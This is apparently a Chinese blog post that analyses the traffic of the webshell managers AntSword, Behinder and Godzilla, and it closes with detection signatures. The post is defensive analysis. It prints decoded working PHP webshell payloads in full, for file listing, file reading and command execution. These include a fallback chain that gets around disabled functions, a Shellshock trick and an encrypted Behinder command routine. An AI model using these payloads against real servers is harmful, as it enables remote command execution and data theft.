常见webshell管理工具流量分析
1.蚁剑
蚁剑设置代理后bp抓包,bp看流量方便一点
默认编码器流量分析
进入文件管理器的两个数据包:
解码后的数据为:
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "c8720";echo @asenc($output);echo "d7345100948";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}😊)$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "c7e4eb4970b9";echo @asenc($output);echo "33e0702d88c2";}ob_start();try{$D=base64_decode(substr($_POST["wa131f680a6e5a"],2));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&wa131f680a6e5a=UNL3Zhci93d3cvaHRtbC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMv
尝试配合gpt解读一下部分关键代码:
- @ini_set("display_errors", "0");
禁止显示错误,以避免暴露错误信息。 - @set_time_limit(0);
设置脚本执行时间无限制,防止脚本超时终止。 - function asenc($out){return $out;};
定义一个名为 asenc 的函数,接受一个参数 $out 并直接返回该参数。 - function asoutput(){...}
定义一个名为 asoutput 的函数,用于处理和输出缓冲区的内容。 - $D=base64_decode(substr($_POST["wa131f680a6e5a"],2));
从POST请求中获取参数 wa131f680a6e5a,去掉前两个字符,并进行Base64解码得到目录路径。 - $F=@opendir($D);
尝试打开目录 $D,并将目录句柄赋值给 $F。 - $M=NULL;$L=NULL;
初始化两个变量 $M 和 $L,用于存储目录和文件的信息。 - while($N=@readdir($F)){...}
遍历目录中的每一个文件和子目录。 - $P=$D.$N;
构建文件或子目录的完整路径。 - $T=@date("Y-m-d H:i:s",@filemtime($P));
获取文件或子目录的修改时间,并格式化为 "Y-m-d H:i - @$E=substr(base_convert(@fileperms($P),10,8),-4);
获取文件或子目录的权限,并转换为八进制格式的字符串。 - $R=" ".$T." ".@filesize($P)." ".$E."\n";
构建包含修改时间、文件大小和权限信息的字符串 $R。 - if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;
如果是目录,则将 $R 追加到 $M;否则,追加到 $L。 - echo $M.$L;
输出目录和文件的信息。 - @closedir($F);
关闭目录句柄。
这是读取一个文件的数据包:
解码后的数据为:
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "d45b53b97e3";echo @asenc($output);echo "b47c4f64";}ob_start();try{$F=base64_decode(substr($_POST["zdf46e7b20a4ac"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&zdf46e7b20a4ac=Z8L3Zhci93d3cvaHRtbC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMvMi5waHA=
这是whoami命令的数据包:
url解码后为:
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "64be11f1d7";echo @asenc($output);echo "9f6c044b93a9";}ob_start();try{$p=base64_decode(substr($_POST["d29fec9508fedb"],2));$s=base64_decode(substr($_POST["i88dc4b40a34a5"],2));$envstr=@base64_decode(substr($_POST["h6d24094c40872"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)"/"?"-c "{$s}"":"/c "{$s}"";if(substr($d,0,1)"/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&d29fec9508fedb=mDL2Jpbi9zaA==&h6d24094c40872=GK&i88dc4b40a34a5=rmY2QgIi92YXIvd3d3L2h0bWwvdnVsL3Vuc2FmZXVwbG9hZC91cGxvYWRzIjt3aG9hbWk7ZWNobyBbU107cHdkO2VjaG8gW0Vd
base64编码器流量分析
进入文件管理器的两个数据包:
url解码后为:
7=@eval(@base64_decode($_POST[x2a2c255f64b68]));&x2a2c255f64b68=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIEBiYXNlNjRfZW5jb2RlKCRvdXQpO307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjRjMWViZDI5MDAiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjViMGI1M2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw==
把后面的base64也解码后为
可以看到也就是在原本明文的基础上加上base64编码,只是通过密码7接收一个参数x2a2c255f64b68,而真正执行的代码就编码后放在参数x2a2c255f64b68里面。
chr编码流量分析
chr编码会将每个字符进行Ascii编码后通过chr函数返回原本的字符
蚁剑流量特征总结:
- 蚁剑默认编码时请求包都包含了
@ini_set("display_errors", "0");
和@set_time_limit(0);
- 并且响应体的返回结果格式为:
随机数 结果(或编码后的结果) 随机数
。 - ua头标识特征为
antsword xxx
,我这里的蚁剑版本是有这个特征的,但是我看其他文章有的蚁剑不存在这个特征,可能是版本问题 - 即使加密后的流量进行了各种编码混淆,但是数据包中仍存在
@ini_set("display_errors", "0");
和@set_time_limit(0);
特征,只是以编码形式存在,比如我们提取ini_set
或者set_time_limit
的base64编码为特征,在加密流量中也可以依旧可以匹配到。ini_set
base64编码为QGluaV9zZXQ,set_time_limit
base64编码为c2V0X3RpbWVfbGltaXQ,ini_set
chr编码为cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),其他编码同理
2.冰蝎2.0
从冰蝎2开始了解,冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
通过下图连接的数据包可以看到,冰蝎会先通过get方式请求随机密钥,服务端使用随机数前16位作为密钥,并且存储到会话的$_SESSION变量中,并返回密钥给攻击者
连接的数据包:
执行命令数据包:
打开一个文件的数据包:
特征总结
都是一些弱特征辅助判断
- ACCEPT字段:默认都是这个
text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
- UA字段:冰蝎的ua字段都比较老,内置了十几个ua头,每次请求都随机一个ua头
- 每次连接会get请求密钥,?pass=随机数,参数名可改,误报较高,可正则匹配辅助判断
3.冰蝎3.0
可以看到冰蝎采用的是AES加密 + base64编码
,冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态密钥获取,密钥使用的是密码的md5结果的前16位
aes解密:
http://tools.bugscaner.com/cryptoaes/
再对base64解密
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="Y2QgL2FwcC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMvO3M=";$cmd=base64_decode($cmd);$path="L2FwcC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMv";$path=base64_decode($path);
main($cmd,$path);
特征总结:
- content-type字段:jsp常见为
application/octet-stream
,其他的为application/x-www-form-urlencoded
- Accept字段:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- 和冰蝎2差不多,请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个
- 每一个请求头中存在
Pragma: no-cache
和Cache-Control: no-cache
冰蝎4和3差不多,都是一些弱特征,但是可以自定义加密
4.哥斯拉4.0
连接数据包:
第一个数据包不会带cookie,但是在响应包设置了session,后续请求都会带上该值
解密流量:
使用蓝队分析研判工具
执行命令数据包:
默认流量特征总结:
- 请求包开头存在
pass=eval(base64_decode(strrev(urldecode(
- cookie最后的分号。标准的 HTTP 请求中最后一个 Cookie 的值是不应该出现 ; 的
- Accept字段:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
冰蝎也出现这个特征,这个也是 JDK 引入的一个特征,并不是作者自定义的 Accept,这个默认特征也可以通过自定义去除,只能作为辅助检测特征
- 响应包的前后各存在16位混淆字符,这是将一个32位的MD5字符串拆分组合而成的
本文作者:xiaoxin07
本文链接:https://www.cnblogs.com/xiaoxin07/p/18294224
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步